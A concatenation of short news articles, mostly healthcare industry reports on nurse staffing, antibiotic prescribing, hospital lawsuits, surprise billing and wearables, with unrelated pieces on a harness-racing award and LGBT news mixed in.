With more than 30 years of experience as a pediatric oncology nurse, Kimberly Pyke-Grimm recently earned a PhD in nursing. She is one of two nurse-scientists working at Lucile Packard Children's.

Dr. Pyke-Grimm's work is part of a larger trend in which nurses are bringing their perspective from clinical care to conduct research. She devotes 40 percent of her time to research at Packard Children's and 60 percent to patient care as a clinical nurse specialist.

She identifies good research questions, seeks funding, conducts and studies through the lens of a nurse.

For example, Dr. Pyke-Grimm published studies during the 1990s that uncovered different preferences for how parents wished to collaborate with their child's oncologists. The findings can help providers tailor medical discussions to families' needs when making decisions about their child's treatment.

"Nurses think about the human response to things because we spend so much time with patients in very desperate and stressful situations," Dr. Pyke-Grimm said. "Almost every day that I work as a clinical nurse specialist, I think 'We should study that!' or 'Why is it we're doing it this way?'"

After starting work at Stanford in 2011, Dr. Pyke-Grimm continued to study decision-making and focused her PhD dissertation on teens and young adults with cancer. These patients face a unique set of challenges, including medication adherence challenges, maintaining friendships and managing changes to their bodies.

"We hope that if we work on decision-making, communication and self-management, there will be opportunities to increase their adherence to treatment, and maybe even increase enrollment in clinical trials and improve survival rates," Dr. Pyke-Grimm said.

Dr. Pyke-Grimm's most recent work, which has revealed information about what types of decisions teens want to be involved in, is now being submitted for publication.

Next, she aims to test decision-making interventions based on what she has learned to see if they improve patient outcomes.

Primary care physicians fall short on treatment info for breast cancer patients, study suggestsMore nurses per patient doesn't mean better care, lighter nurse workload, study findsAfter assembling a solid record against Ontario Sires Stakes Grassroots competition as a freshman, Shower Play cleaned up as a sophomore en route to divisional honours as Canada's Three-Year-Old Pacing Filly of the Year. It was part of a plan that paid off in spades for her connections.

"As a two-year-old we really thought she was the real deal," said co-owner Susie Kerwood after the 2018 O'Brien Awards. "Sylvain Filion drove her, he did a great job with her...he kept saying 'she's a Gold filly, she's a Gold filly'. At that time, we were up against [2017 O'Brien Award winner] Percy Bluechip, who pretty much dominated. We thought 'we're doing OK here [in the Grassroots] so let's stay here', and then she got sick on us unfortunately and we had to shut her down, missed the Grassroots final. That happens, right? You gotta do what you gotta sometimes. I think, apparently, that was the right choice in the long run."

Shower Play showed she was a Gold filly, and showed once again that Ontario's best compete successfully against the best harness racing has to offer. The Shadow Play - Alice Emily filly scored six wins during her 2018 campaign, including three Ontario Sires Stakes events, the Fan Hanover Final and Simcoe division. She bankrolled almost $480,000 and took a mark of 1:50.2 in the Fan Hanover Final at Woodbine Mohawk Park for Kerwood, co-owner and trainer Rene Dion and co-owner Martin Leveillee.

Shower Play was conspicuous by her absence in the late-season OSS Super Final and Breeders Crown, and Dion provided an update on his stable star in the following interview.

This is the ninth in a series of several post-event video interviews with O'Brien Award finalists, sponsored by Horse Racing Alberta.

On Saturday, Feb. 2, Standardbred Canada announced the winners for the 2018 OBrien Awards at the 30th edition of the annual OBrien Awards Black Tie Gala, held at the Hilton Mississauga / Meadowvale hotel in Mississauga, Ont. The OBrien Awards honour Canadas best in harness racing over the past season and are named in honour of the late Joe OBrien, an outstanding horseman and member of the Canadian Horse Racing Hall of Fame. To view the full list of 2018 O'Brien Award winners, click here.As the nursepatient ratio increases, care quality declines, and nursing workload increases, a study published in the Journal of Nursing Management found.

The researchers tested a discrete event simulation modeling approach to predict nurse workload and care quality. Discrete event simulation, or DES, is a method of simulating the behavior and performance of a real-life process, facility or system.

The researchers used DES to develop a simulated care delivery unit model that could predict the effects of different nursepatient ratios.

They looked at patient care data, inpatient unit floor plan and operating logic. They also examined nurse workload in terms of the tasks nurses had to complete, cumulative distance they walked and care quality in terms of the time of the tasks in their queue and missed care.

The model found that as nursepatient ratio increases, care quality deteriorates and nursing workload increases.

"DES has the potential to be used to inform operational policy and technical design decisions, in terms of impacts on nurse workload and care quality," the researchers concluded.

Editor's note: This article was updated Feb. 14 at 11:32 a.m. CST. A previous version of this article incorrectly stated that the study found more nurses per patient doesn't mean better care or lighter nurse workload. Becker's regrets the error.

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5 signs of nurse burnout

Why hospital mergers may harm care qualityEven as hospitals attempt to reduce prescriptions of fluoroquinolones  a powerful but risky antibiotic group  many patients are still discharged with prescriptions for those drugs, upping their risk of superbug infections, a study published in Clinical Infectious Diseases found.

Fluoroquinolones have been linked to the rise of drug-resistant organisms, Clostridioides difficile infections and ruptures of Achilles tendons. The FDA has issued several warnings about their side effects.

Researchers from Ann Arbor-based Michigan Medicine reviewed prescriptions from 48 Michigan hospitals.

They found discharge-related prescriptions accounted for two-thirds of the fluoroquinolone supply prescribed to the nearly 12,000 patients treated for pneumonia or urinary tract infections.

The hospitals that said they are trying to cut fluoroquinolone use were twice as likely to discharge patients with a new prescription for a drug in that group, the researchers found.

Overall, one-third of the patients included in the study got a fluoroquinolone prescription at the end of their hospital stay, despite guidelines calling for restricted use.

"Fluoroquinolone antibiotics are easy to use but carry a lot of risk for patients and society at large," said lead study author Valerie Vaughn, MD. "These results show we need to focus on not just their use in hospitals, but also in the prescriptions that we send patients home with. Discharge-prescribing is a big loophole."

Health experts are calling on Facebook to prevent the spread of misinformation in closed anti-vaccine groups on the site, reports The Guardian.

The anti-vaccine groups serve as hubs for inaccurate claims about vaccines or unproven alternative treatments, such as high doses of vitamin C. One Facebook group, "Stop Mandatory Vaccination," has more than 150,000 members.

Wendy Sue Swanson, MD, a spokesperson for the American Academy of Pediatrics, recently met with Facebook employees to share her concerns over the anti-vaccine pages.

"Facebook should prioritize dealing with the threat to human health when falsehoods and misinformation are shared," she told The Guardian. "This isn't just self-harm, it's community harm."

Facebook did not reply to The Guardian's request for comment on the anti-vaccine groups.An Ohio Department of Health inspection found that, in 24 of 27 patient records reviewed, a former physician at Columbus-based Mount Carmel Health System could access powerful pain medications using overrides over warnings, The Columbus Dispatch reports.

Details of the Jan. 18 findings are contained in a correction plan Mount Carmel Health System prepared for CMS after firing William Husel, MD, an intensive-care physician accused of ordering excessive painkiller doses for 34 near-death patients. The doses were at fatal levels for 28 of the patients.

Mount Carmel said it reviewed and revised policies and increased education efforts after the physician's Dec. 5 firing.

Documents on the investigation released Feb. 12 provide details for the two Ohio hospitals involved  Mount Carmel West in Columbus and Mount Carmel St. Ann's in Westerville.

The inspection reports, which looked at 27 cases dating to 2015, say the hospitals did not ensure a system was in place to prevent large doses of medications from being accessed by override.

Medication ordered by a physician is typically approved by a pharmacist and released electronically, letting nurses access it through a cabinet. Overrides to access the cabinet are allowed for certain medications in certain emergency situations.

The health department reports, which repeatedly refer to "Physician A," found pharmacists verified medications in some of the override cases.

In one case, the cabinet was accessed by override multiple times to get 2,000 micrograms of fentanyl. In two other cases, 1,000-microgram doses of fentanyl, along with high doses of Versed, were dispersed by override even before the physician's order, the report said.

In its correction plan, Mount Carmel officials said they placed limits on what medications are available on an emergency-order basis; further defined when emergency orders are permitted; implemented a plan for daily pharmacist review of emergency medication orders; and revised a policy to set parameters on the amount of pain medication used for patients being removed from breathing machines.

CMS accepted Mount Carmel's plans, according to a spokesperson from the Ohio Health Department, which conducted investigations on behalf of CMS.A survey conducted for CMS by the Montana Department of Public Health and Human Services found care deficiencies for geriatric patients at Montana State Hospital in Warm Springs, according to The Montana Standard.

The surveyors sampled nine patients housed in the state psychiatric hospital's Spratt Unit, which primarily cares for older men and women with long-term psychiatric disabilities and significant medical concerns.

The survey revealed some patients' rights "to receive care in a safe setting" and "to be free from all forms of abuse or harassment" were not met. It also found standards for staffing and care delivery were not adequate in certain cases, and the hospital's failure to meet sanitary standards put patients at risk of infection.

Although the surveyors did not require administrators to submit a formal correction plan to address these issues, state officials said the department already has taken the necessary steps to correct the deficiencies and will work to prevent them from recurring.

During the inspection, hospital employees told investigators that the deficiencies with patient care may have stemmed from turnover and understaffing.A federal judge has ruled that AbbVie must turn over documents in a lawsuit that accuses the drugmaker of using "unclean hands" to create a thicket of patents to protect its best-selling drug Humira from competition, according to STAT.

The documents AbbVie wanted to keep secret involve internal communications that discuss its strategy for bolstering Humira sales and fending off competition from lower-cost alternatives.

The court battle in question is between AbbVie and Boehringer Ingelheim. Boehringer is defending itself against a patent infringement lawsuit, and in its argument accuses AbbVie of using "unclean hands" to create a patent thicket to thwart competition.

By relying on inappropriate behavior, AbbVie unfairly prevented competitors from marketing biosimilar versions sooner, according to the lawsuit.

This is the first time the "unclean hands" defense has been applied to the creation of patent thickets, webs of overlapping intellectual property rights that a company must navigate to commercialize new technology. As a result, the case is being tracked closely by the pharmaceutical and generic drug industry.

Although a previous judge ruled in June that AbbVie had to produce documents for Boehringer, including incentives used to increase patent coverage, strategies to mitigate competition and underlying strategies, AbbVie refused to provide much of what was requested. AbbVie argued there was no tie between an alleged patenting program and the marketing and sales of Humira.

However, in a Feb. 8 ruling the federal court judge disagreed and wrote "AbbVie's argument is unconvincing," according to STAT.

Read the full report here.Ahead of the 2020 presidential race, New Jersey Democrat Sen. Cory Booker is working to shed his reputation of being a friend of the pharmaceutical industry, STAT reports.

Five things to know:

1. His reputation for being cozy with Big Pharma has developed over several years. In January 2017, the senator was heckled during a political rally for accepting more campaign funds from the pharmaceutical industry than any other lawmaker and for voting against a measure that would have allowed U.S. patients to import prescription drugs from Canada. In the last two years he has been hounded by criticism of his ties to the industry.

2. Lowering costs for prescription drugs is a big issue heading into the 2020 presidential election.

3. In the last two weeks, a viral Facebook video has questioned whether Mr. Booker is a Big Pharma candidate, and on the left-leaning "Breakfast Club" radio show, Mr. Booker was asked whether he could be trusted to hold Big Pharma accountable.

4. Lately he's taken a harsher tone toward Big Pharma. Mr. Booker has threatened to roll back patent protections and agreed to reject campaign funds from the pharmaceutical industry

5. "I live in Newark, a low-income community where people work for pharmaceutical companies, Mr. Booker told STAT. "They might be the lab assistant, they might be the secretary, and they value those jobs. And even they know that we can have fair pricing and still have thriving companies. This is not an either-or. And right now we have practices going on that are abusing this nation and constituents of mine."

Read the full report here.Connecticut-based nurse practitioner Heather Alfonso on Feb. 11 testified that Insys Therapeutics gave her thousands of dollars in kickbacks for prescribing the company's highly addictive opioid painkiller Subsys, reports Bloomberg.

Ms. Alfonso testified before a federal jury in Boston as part of a racketeering case against Insys founder John Kapoor and other executives who allegedly bribed physicians to write Subsys prescriptions by giving them fake speaker's fees.

She said Insys paid her more than $82,000 in kickbacks between 2013-15 while she was working as an NP at the Comprehensive Pain and Headache Treatment Center in Derby, Conn.

"If I was going to choose between one drug or another, I would choose the Subsys because that's what I was getting paid for," Ms. Alfonso testified.

She gave up her nursing license in March 2015 after the Drug Enforcement Administration accused her of overprescribing narcotics.The Hospital of the University of Pennsylvania in Philadelphia faces allegations that it fired an anesthesiology technician who asked for extended medical leave during breast cancer treatment, according to The Inquirer.

The allegations come from Kenya Harris, who worked at the hospital for more than a decade and was diagnosed with breast cancer. Ms. Harris reportedly filed a lawsuit Feb. 11 in federal court claiming she was fired after asking, per a recommendation from her oncologist, for 27 more days of medical leave. She had been on medical leave for nine months.

A spokesperson for Philadelphia-based Penn Medicine, of which the hospital is a part, declined to comment to The Inquirer, citing pending litigation. But a termination letter obtained by the publication from last April states that the medical leave extension "would pose an undue hardship for the anesthesia department."

Ms. Harris said that argument had not been brought up previously.

She claims in the lawsuit that her firing violates state and federal laws regarding people with disabilities, but also shows Penn Medicine is not worthy of its positive breast cancer care reputation due to the "vile treatment of its own employee (and patient) in the midst of" treatment.

Ms. Harris underwent multiple surgeries beginning in 2017, including a mastectomy, and was put on a treatment plan of chemotherapy and radiation. She was approved for nine months of medical leave under the under the federal Family and Medical Leave Act. Given the effects she experienced from weeks of radiation, she asked for 27 more days of leave.

Her lawsuit claims the health system, in its reply to the extension request, indicated it would participate in an "interactive process ... to determine if there is a reasonable accommodation that can be provided without imposing an undue hardship," according to The Inquirer. However, the complaint says Ms. Harris instead experienced negative phone calls with a personnel department representative and was fired.

She reportedly seeks a judgment against the hospital and Penn Medicine, in addition to money for "intentional infliction of emotional distress."Milwaukee-based Ascension Columbia St. Mary's Hospital is contending that its Catholic affiliation exempts it from a former patient's lawsuit filed under the Americans with Disabilities Act, according to the Journal Sentinel.

Four things to know:



1. In 2014, former patient Linda Reed sued Ascension Columbia St. Mary's, accusing the hospital of discrimination based on her disability. Ms. Reed has a neurological disorder called tardive dyskinesia, which causes involuntary facial movements that can interfere with speech.



2. In her lawsuit, Ms. Reed accused Ascension Columbia St. Mary's of taking away a Dynavox device from her, which helps her speak, for hours at a time. She alleged this caused miscommunication and mistreatment, according to the Journal Sentinel.

3. Late U.S. District Judge Rudolph Randa dismissed the case after Ascension Columbia St. Mary's claimed immunity from the lawsuit due to religious exemptions to the ADA, and also argued Ms. Reed's disability did not affect its care decisions.

4. However, a federal appeals court recently decided more information is needed in the case, and reinstated Ms. Reed's lawsuit.

"Allowing a lastminute defense that introduces such new factual and legal issues after discovery has closed raises the costs of litigation and allows the party that was at least negligent in failing to plead its defense to take unfair advantage of its opposing party," the court said, according to the report.



For the full article, click here.Hugo Mendez, a gay mexican school teacher, was found dead in his home in Puebla, Mexico.

Mendez had multiple stab wounds in his body when his neighbors found him, according to San Diego Gay & Lesbian News. He was pronounced dead at the scene.

Mendez taught a dance group, volunteered frequently in the community, and was an activist. He also received multiple death threats over his sexuality.

They did not kill him for being a teacher, or for selling costumes, or for having a dance group. They killed him because of his sexual orientation and we are outraged and interested to find out ...who killed him and to the full extent of the law, because he was one of us, a local human rights activist told Desastre.Thousands of unionized nurses in New York City plan to protest Feb. 13 amid reports that they say show inadequate staffing caused bad conditions at 13 area facilities, the New York State Nurses Association announced.

The union said the reports are from nearly 2,500 official "protests of assignment" documents signed by more 12,000 nurses last year indicating that a nursing assignment is not safe. The protests of assignment were filed by nurses at Montefiore, Mount Sinai and NewYork-Presbyterian health systems.

A spokesperson for the New York City Hospital Alliance noted that those documents represent about .1 percent of all scheduled shifts over the course of the year.

In one protest of assignment cited by the union, a nurse writes, "Insufficient space, hallway patients, patients stacked in rows, unable to access patients in a timely manner, temp in ED 76 degrees on west side, air conditioning not working on East side and area is very hot and uncomfortable, inadequate ventilation, unable to comply with appropriate infection control. Patients waiting days to get a bed and aggressive to staff."

Amid the nurses' reports, union members have scheduled protests Feb. 13 at the following facilities:

NewYork-Presbyterian: Milstein Hospital

Montefiore Henry & Lucy Moses Campus

Montefiore Jack D. Weiler Campus

Mount Sinai Hospital

St. Luke's Hospital

Mount Sinai West Hospital

Informational picketing is also scheduled at:

The Brooklyn Hospital Center

BronxCare Health System

NewYork-Presbyterian: Allen Hospital

Montefiore Hutchinson Campus

Montefiore Westchester Square

Montefiore Home Health Agency

Wyckoff Heights Medical Center

The protest plans come after 22 completed bargaining sessions between the union and the New York City Hospital Alliance, with more scheduled this month and in March.

Staffing has been a key sticking point in negotiations. The union has argued for mandated nurse staffing ratios, while the alliance argues for a "patient-first approach to staffing that is built on tailored, flexible staffing plans  designed by experienced nurses  that have proven to best meet the individual and ever-changing needs of patients."

Regarding the planned picketing, an alliance spokesperson told Becker's, "We respect the right of NYSNA members to engage in informational picketing with proper notice. This is not a strike and will not interfere with normal operations. All alliance hospitals will continue to provide the high-quality care that New Yorkers depend on."

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California nurses threaten daylong strikeWhile prominent industry players have attributed widespread understaffing issues to a nursing shortage, some industry experts and recent research claim such a shortage does not exist, The Guardian reports.

Healthcare industry experts have for decades discussed the severity of the nursing shortage affecting hospitals and health systems in the U.S., the report states. However, recent research and projections conducted by the HHS' Health Resources and Services Administration indicate most states are not suffering from a nursing shortage, and that a surplus will likely grow during the next decade.

Instead, nurses unions like National Nurses United claim the proposed shortage represents a reluctance on the part of hospitals and health systems to cut profit margins and hire additional staff.

"It's a convenient argument for the industry to validate their under-resourcing of registered nurses on the floor, simply saying there's a nursing shortage, but there isn't," a National Nurses United member told The Guardian. "It's a market decision that benefits the employer."

The individual said understaffing in the short-term leads to what's referred to as "the nurse hangover," or fatigue and malaise comparable to a hangover from alcohol. The condition also leads to long-term effects such as burnout, high staff turnover and patient safety errors.

Two nurses with St. Paul, Minn.-based United Hospital told The Guardian they see significant issues when it comes to nurses not taking breaks because they do not want to potentially jeopardize their patients' care.

"Nurses aren't getting their breaks because they don't want to compromise the safety of their patients and they don't want to put undue work on their coworkers in order to take care of patients when there is a better solution," one nurse told the publication.

A spokesperson for United Hospital's parent company, Minneapolis-based Allina Health, told The Guardian in an emailed statement: "It appears based on our reports, what you are being told by the two nurses is inaccurate. We work hard to ensure a safe and supportive work environment for all our caregivers. Our staffing ratios are consistent with the level of care required in each unit."

To access the full report, click here.Saria Saccocio, MD, knows that care quality begins with access, and as ambulatory CMO and department chair of family medicine for Greenville (S.C.) Health System, improving access has been a top priority.

Before joining Greenville Health System in 2017, Dr. Saccocio served as CMO at Bon Secours St. Francis Health System in Greenville, market CMO of South Central Virginia for Brentwood, Tenn.-based LifePoint Hospitals and CMO of Danville (Va.) Regional Medical Center.

Becker's Hospital Review caught up with Dr. Saccocio to discuss the primary initiative she will focus on in 2019 and her view on healthcare innovation.

Editor's Note: Responses were lightly edited for length and clarity.

Question: What's one strategic initiative will demand the most of your time and energy in 2019?

Dr. Saria Saccocio: Enhancing access to primary care will consume a significant majority of my time and energy in 2019. Population health management is measured according to quality metrics and patient outcomes. However, the foundation of connecting with patients and improving health starts with access to care. Traditional access, relying on face-to-face involvement for every encounter with patients, is no longer cost effective nor sustainable. As we expand our accountability to the communities we serve through payer and employer relationships, building capacity for a somewhat finite primary care workforce will challenge us to examine non-traditional and asynchronous sources of care.

For example, telemedicine utilizing virtual visits and electronic encounters are progressively considered as solutions while we consider that the consumer prioritizes healthcare according to convenience first in many cases and relationships second. How we as a health system deliver the right care, at the right time, through the right venue according to the consumers' needs and preferences will transform over the next one to five years.

Q: Healthcare takes a lot of heat for not innovating quickly. What's your take on this?

SS: In healthcare, we like to consider ourselves as cutting edge innovators of medicine and wellness. Healthcare has indeed been exposed to transformation in pockets and regions by risk taking health systems, health IT, and various other vendors of care management. One of our greatest barriers to rapid change is the financial conundrum we are in as we transition from fee-for-service volume demands to value-measured according to cost savings and patient outcomes. As long as we continue to be paid according to procedures and interventions, the healthcare industry will follow the same reliable playbook.

Non-profit health systems with slim margins can be limited in their ability to invest in alternative outpatient-based innovation while cannibalizing inpatient revenue. For-profit healthcare organizations held accountable by stockholders quarter by quarter are also challenged to trial care management and wellness programs in which the return on investment is less than what is currently captured traditionally in a hospital setting. To quicken the pace of innovation in healthcare, collaboration between payers, employers, and healthcare providers must be supported financially while we transition from the old model to the new.

Q: Can you share some praise with us about people you work with? What does greatness look like to you when it comes to your team?

SS: Team is everything. A highly functional, collaborative team can build resilience, efficiency, and achieve measurable success when focused on aligned priorities and goals of the organization. For example, our ambulatory team at Greenville Health System laughs often, shares openly, works hard, celebrates success, and learns constantly. When coming to work is fun and the team you work with supports and challenges one another, joy prevails.

We work hard and share openly, knowing that all opinions and thoughts bring merit to the conversation. It is because of our diversity of thought, transparency of communicating, and curiosity of ideas from each member of the team that we excel consistently. Our accountability of one another and trust that the work will be accomplished allows us to navigate through potential ideas and develop solutions timely and proficiently.Data lake is a concept that has recently attracted a lot of attention in the healthcare industry.

These massive repositories of both raw and refined data can be invaluable assets for organizations looking to better manage and leverage their data. Data lakes allow for data to flow back and forth between the lake and each transactional systemversus most healthcare data flows, which are unidirectionaland dont require expensive computer infrastructure.

Data lakes are piquing the interest of payers, in particular, as these organizations deal with massive amounts of notoriously difficult and complex datahealthcare transactions, physician notes, and digital health applications, to name a fewwhich inform decisions on individual member and population health. Although data lakes have great potential, payers should consider several factors carefully before diving in.

Worth the Hype?

Across the healthcare industry, a proactive approach to consuming data has emerged as a best practice, fueled by enhanced tools and technologies and coupled with advances in data science computing, all of which have curbed costs. Many payers have already made great strides in their data science programs; for example, most have developed data warehouses to quickly and efficiently gather actionable insights from data across the enterprise.

The following examples demonstrate how payers can implement and leverage data lakes to improve member outcomes and reduce excess costs.

 Reduce fraud, waste, and abuse. The National Healthcare Anti-Fraud Association reports that healthcare organizations lose $80 billion to fraud each year. Running an analysis that simultaneously uses raw data while claims are batch-processed could help payers see potential instances of fraudulent or wasteful claims. Data lakes can also be used to run algorithms that highlight specific prescribing patterns that may be problematic and need attention, such as opioid prescribing patterns that dont follow national guidelines.

 Recognize and address social determinants of health. Clinicians at UAMS Medical Center in Little Rock, Arkansas, ask members about non-clinical details, such as eating habits and home life, and upload this information into their electronic health record (EHR). Over the past few years, this initiative has reduced hospital admission rates by 10 to 13.8 percent. Payers can use a data lake to pull out raw consumer financial data, for example, and gain a more complete picture of members with behavioral health needs that are not being addressed. The data can also highlight social factors that significantly impact members mental health conditions, such as lack of stable housing or employment.

 Identify increased rates of drug addiction by county. As the industry works to address escalating rates of opioid addiction in the United States, being able to identify members in specific geographic regions who are dealing with addiction allows payers to better target interventions, treatments, and programs. Using data from the lake can also enable payers to better recognize early signs of an epidemic and proactively work with other organizations and stakeholders in the community to come up with potential solutions.

 Combine with census data and consumer education data to improve communication. By adding census data and consumer education data into the data lake, payers get a better view of their member populations, which could have benefits such as identifying instances of healthcare illiteracy. Health illiteracy may hinder care management plans for high-risk members because they may not understand discharge instructions or medication regimens. Using data from various sources allows payers to ensure members receive instructions that were written for people with the appropriate literacy levels.

A data lake infrastructure supports high-impact data science for improved health, and the opportunities for enhancing member health by leveraging data lake-driven insights are infinite. The better the data science, the better the solutions.

What to Know Before Taking the Plunge

While data lakes are gaining traction, the task of developing, implementing, and managing a data lake is no small feat. Organizations need to be smart and approach the initiative with realistic expectations and a solid strategy.

The main reasons that payer data lake programs can fail include:

 Lack of high-level support. Senior leadership must buy in and commit to the investment. Organizations without strong support from the executive team struggle to keep data lake implementation moving forward, and the project often sputters when finally set into motion.

 Rushed design. If the architecture of the data lake framework is developed too quickly, and without careful and methodical consideration of how it will be used, the data lake may not be able to fulfill its desired requirements.

 Poor data-matching. In a data lake environment, where much of the data is unstructured, using the standard, deterministic keys to match relevant data isnt viable because the fields for using those keys dont exist. Payers that dont define their logic for merging data with different attributes and from different systems may gather data that is disconnected and useless.

To capitalize on the capabilities of a data lake, an organization must specifically state its purpose and goal, comprehend the skills and degree of expertise needed, identify the appropriate internal and/or external resources and support, and target the leaders who will help to drive the initiative forward. With a strong foundation, a strategic data lake will provide valuable data-driven insights and the desired return on investment.

bio:

Sumant Rao is senior vice president and business owner of performance analytics at Cotiviti, a leading provider of payment accuracy, risk adjustment, and quality and performance solutions for at-risk organizations.Wearables are having their moment in the clinical space, moving beyond their perception as a consumer technology and wellness product.

Apple shook up the digital health world in September when it announced the newest Apple Watch would offer a direct-to-consumer electrocardiogram app. Four months later, Alphabet life sciences arm Verily's prescription-only smartwatch was granted FDA clearance for an EKG, and Withings  formerly Nokia's digital health business  unveiled a competing analog smartwatch with an EKG feature.

While smartwatches are in some ways the first mainstream product to get a medical-grade health spin, rumors abound about other ways technology giants are entering into the wearables market.

Four examples:

1. Apple. Ming-Chi Kuo, an analyst known for his strong track record of predicting new features in Apple products, has speculated that Apple is planning to release a complete redesign of its wireless earbuds, AirPods  including new health features. A patent Apple was awarded in December hints at this vision, outlining a plan to add built-in biometric sensors to AirPods that would perform heart rate monitoring and take a wearer's body temperature.

2. Google. Google was also recently awarded a patent for in-ear health monitoring technology. This past summer, the U.S. Patent and Trademark Office granted Google a patent for a set of earbuds that measure a wearer's body temperature as they listen to music on their smartphone. The company's vision, as outlined in the patent, is to compare the wearer's temperature each day against their baseline to identify potential health issues.

3. Microsoft. Microsoft may be targeting the smart glasses market, according to one patent application published in July 2018. The patent describes a set of wearable sensors mounted on eyeglasses that would continuously measure and analyze a user's pulse waves from three different regions on their face  ultimately providing a potential way to help users measure their blood pressure, without interrupting daily activities.

4. Verily. Verily, one of Google's sister companies, was reportedly working to embed health-tracking sensors into shoes. The shoes would monitor wearers' movement, weight and falls, and could be used to identify symptoms such as sudden weight gain, according to a February report from CNBC. Verily has reportedly shown potential partners a prototype of the shoe, although it's unclear whether the project is still active.St. John's Medical Center in Jackson, Wyo., plans to build housing for employees on land it recently acquired in Alpine, Wyo., according to the Jackson Hole News & Guide.

The 5.79 acres cost $1.35 million, including a $250,000 credit toward water and sewer hookup fees, according to the report.

Officials hope the roughly 80 units built on the newly acquired property will help the hospital avoid staff recruitment and retention issues in the future.

"As we project our future staffing needs based on age and retirement, it is clear that the individuals who will fill future open positions will be far less able to afford local housing due to escalating rent and home ownership costs," St. John's Medical Center CEO Paul Beaupre, MD, said in a press release, according to the Jackson Hole News & Guide. "This project will greatly alleviate my concerns about being able to staff St. John's for the next decade and beyond."

More articles on healthcare finance:

14 hospitals with strong finances

Alabama hospital to close in March

Kaiser's annual revenue grows to $79BWhile arbitration has gained attention among policymakers recently as a potential solution to surprise medical bills, it is not the right fix, according to a piece published by RealClearPolicy authored by scholars from the American Enterprise Institute and Georgetown Law Center.

Surprise medical bills occur when insurers and physicians disagree on what the care is worth, and the patient ends up on the hook for the balance after the insurance company pays its portion of the bill. They often happen in emergencies when patients see out-of-network providers.

The issue has come to the forefront since President Donald Trump vowed to end surprise medical bills, and U.S. lawmakers have been seeking information and working on a consensus on how to stop them.

One potential solution, arbitration, is already being used in some states, including New York, according to Bloomberg. In this scenario, the physician and insurer each submit a price, an arbiter picks one, and the decision is binding on both sides. Patients who received out-of-network care reportedly are charged no more than the amount they would owe to in-network providers.

But David Hyman, MD, a professor at the Georgetown University Law Center in Washington, D.C., and Benedic Ippolito, PhD, a research fellow in economic policy studies at the American Enterprise Institute, a conservative think tank, contend arbitration "is likely to do more harm than good."

"At first glance, this approach probably sounds appealing. Arbitration seems like a fairly light-touch policy that sets up a way for stakeholders to adjudicate their issue with minimal government intervention," they wrote.

"Policymakers should not be fooled. Arbitration is neither 'light touch' nor a solution to the true problem at hand. Instead of solving the fundamental issue, it kicks the can down the road to an arbitrator who faces the same challenges of any rate setter."

They also argue that rate-setting can result in "large market distortions and unintended consequences."

Instead of arbitration, Dr. Hyman and Dr. Ippolito recommended that policymakers encourage market actors to determine appropriate prices on their own.

More articles on healthcare finance:

10 states with highest, lowest 2017 employer healthcare spending

Patient Medicaid eligibility check could be boon to midsized hospitals

RCM tip of the day: Stay organizedInsurance regulators in Texas are facing a backlog of mediation requests from residents concerned with surprise medical bills, according to The Texas Tribune.

Three things to know:



1. The Texas Department of Insurance mediation program aims to help patients with surprise medical bills by working with the health insurance company and the healthcare provider to reach an agreement on the amount charged by the provider, the amount paid by the insurer to the provider, and the amount paid by the patient.



2. Thanks to increased media coverage and updated mediation regulation in the state for surprise medical bills, thousands of Texas residents are seeking assistance from the Texas Department of Insurance, according to The Texas Tribune.

3. The influx has created a massive backlog. The department received 4,519 requests in 2018, and expect 8,000 during the current fiscal year. That's compared to 43 requests in 2013 and 600 in 2014, according to the report.

For the full article, click here.The Oklahoma State Department of Health has rejected Guymon, Okla.-based Memorial Hospital of Texas County's plan to correct deficiencies identified during on-site surveys last year. The hospital's Medicare and Medicaid provider agreements are slated to be terminated April 18 unless the issues are corrected, according to ABC 7.

In January, the department of health determined Memorial Hospital of Texas County was not in compliance with several Medicare and Medicaid rules after reviewing reports from hospital surveys conducted in October. Among the rules violated were those related to emergency services and medical screening exams.

Memorial Hospital of Texas County submitted a correction plan, which the state reviewed and rejected.

Memorial Hospital of Texas County will submit a new plan of correction for review. Hospital officials said the updated plan will be released to the public once it has been approved, according to the report.

Most hospitals take necessary steps to correct deficiencies before their Medicare and Medicaid contracts are terminated.

More articles on healthcare finance:

Tower Health points to Epic install costs for operating loss

Ohio hospital to close after 105 years

North Carolina hospital misses payrollAn Australian Sen. Ian Macdonald said during a meeting over a bill that would ban religious discrimination against LGBT students that parents have the right to decide whether children know gay parents exist.

The majority of families might not want their children to think about children with two dads, according to Australian news site Junkee. Whether thats right or wrong is irrelevant from my point of view, but it does show that other people have rights too.

Macdonald said that children from straight parents would feel uncomfortable knowing that gay people exist at a religious school.

Janet Rice, another committee member, told Junkee, According to Ian Macdonalds flawless logic, his personal uneasiness about two men sharing a bed means that school students shouldnt know if their friends have gay dads. Or something. His comments demonstrate exactly why we need to remove discrimination against LGBTIQ+ people in schools. We LGBTIQ+ people exist, its time Macdonald gets over it.Employees at Washington County Hospital in Plymouth, N.C., didn't receive their paychecks Feb. 8, according to local TV station NewsChannel12.

The hospital's owner, Kansas City, Mo.-based EmpowerHMS, hasn't told employees why they weren't paid, according to the report.

Washington County Hospital employees who spoke with NewsChannel12 on the condition of anonymity said the hospital also lacks needed supplies and they don't know when the items will be restocked.

Several other hospitals owned or managed by EmpowerHMS have encountered financial issues in recent months. Most recently, the company failed to pay staff at Prague (Okla.) Community Hospital and Horton (Kan.) Community Hospital on Feb. 1.

More articles on healthcare finance:

14 hospitals with strong finances

Alabama hospital to close in March

Kaiser's annual revenue grows to $79BSeveral studies and analyses on healthcare prices have made headlines since the beginning of the year.

Here are five must-reads on healthcare prices for hospital executives:

1. Hospitals, not physicians, driving up healthcare costs for privately insured, study shows

Hospital prices are a bigger driver of healthcare spending growth for the privately insured than physician prices, a study published in Health Affairs suggests.

2. Saint Alphonsus Health CEO on price transparency: 'We do not view patients as consumers or shoppers'

Odette Bolano, president and CEO of Boise, Idaho-based Saint Alphonsus Health System, addressed CMS' new price transparency rule in an op-ed in the Idaho Statesman.

3. Elisabeth Rosenthal: Trump 'did something right' with hospital price rule

CMS' new price transparency rule could be a "game-changer for healthcare," according to a new op-ed by Elisabeth Rosenthal, MD, former New York Times correspondent and editor-in-chief at Kaiser Health News.

4. Hospital prices differ at facilities only miles apart, California analysis shows

Prices for basic procedures vary widely between hospitals, sometimes between facilities that are close in proximity, according to a California Healthline analysis.

5. 'It's still the prices, stupid': Researchers update study on what's escalating US healthcare costs

The primary reason the U.S. spends more on healthcare than any other country is still prices, according to an updated study published in Health Affairs.



More articles on healthcare finance:

Kaiser's annual revenue grows to $79B

Alabama hospital to close in March

